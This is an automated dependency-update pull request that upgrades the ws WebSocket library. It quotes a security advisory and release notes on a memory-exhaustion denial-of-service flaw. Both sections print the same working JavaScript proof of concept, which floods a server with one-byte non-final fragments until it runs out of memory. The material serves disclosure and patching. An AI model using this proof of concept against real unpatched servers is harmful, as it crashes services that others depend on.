Update dependency ws to v8.21.0 [SECURITY] - autoclosed

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
ws	8.20.1 → 8.21.0

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ws: Memory exhaustion DoS from tiny fragments and data chunks

CVE-2026-48779 / GHSA-96hv-2xvq-fx4p

More information

Details

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (websockets/ws@bca91ad) and backported to ws@7.5.11 (websockets/ws@fd36cd8), ws@6.2.4 (websockets/ws@86d3e8a), and ws@5.2.5 (websockets/ws@b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p
• https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7
• https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53
• https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94
• https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8
• https://github.com/advisories/GHSA-96hv-2xvq-fx4p

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

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Release Notes

websockets/ws (ws)

v8.21.0

Compare Source

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd4).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd4).

A high volume of tiny fragments and data chunks could be sent by a peer, using
modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the
maxPayload option if possible.

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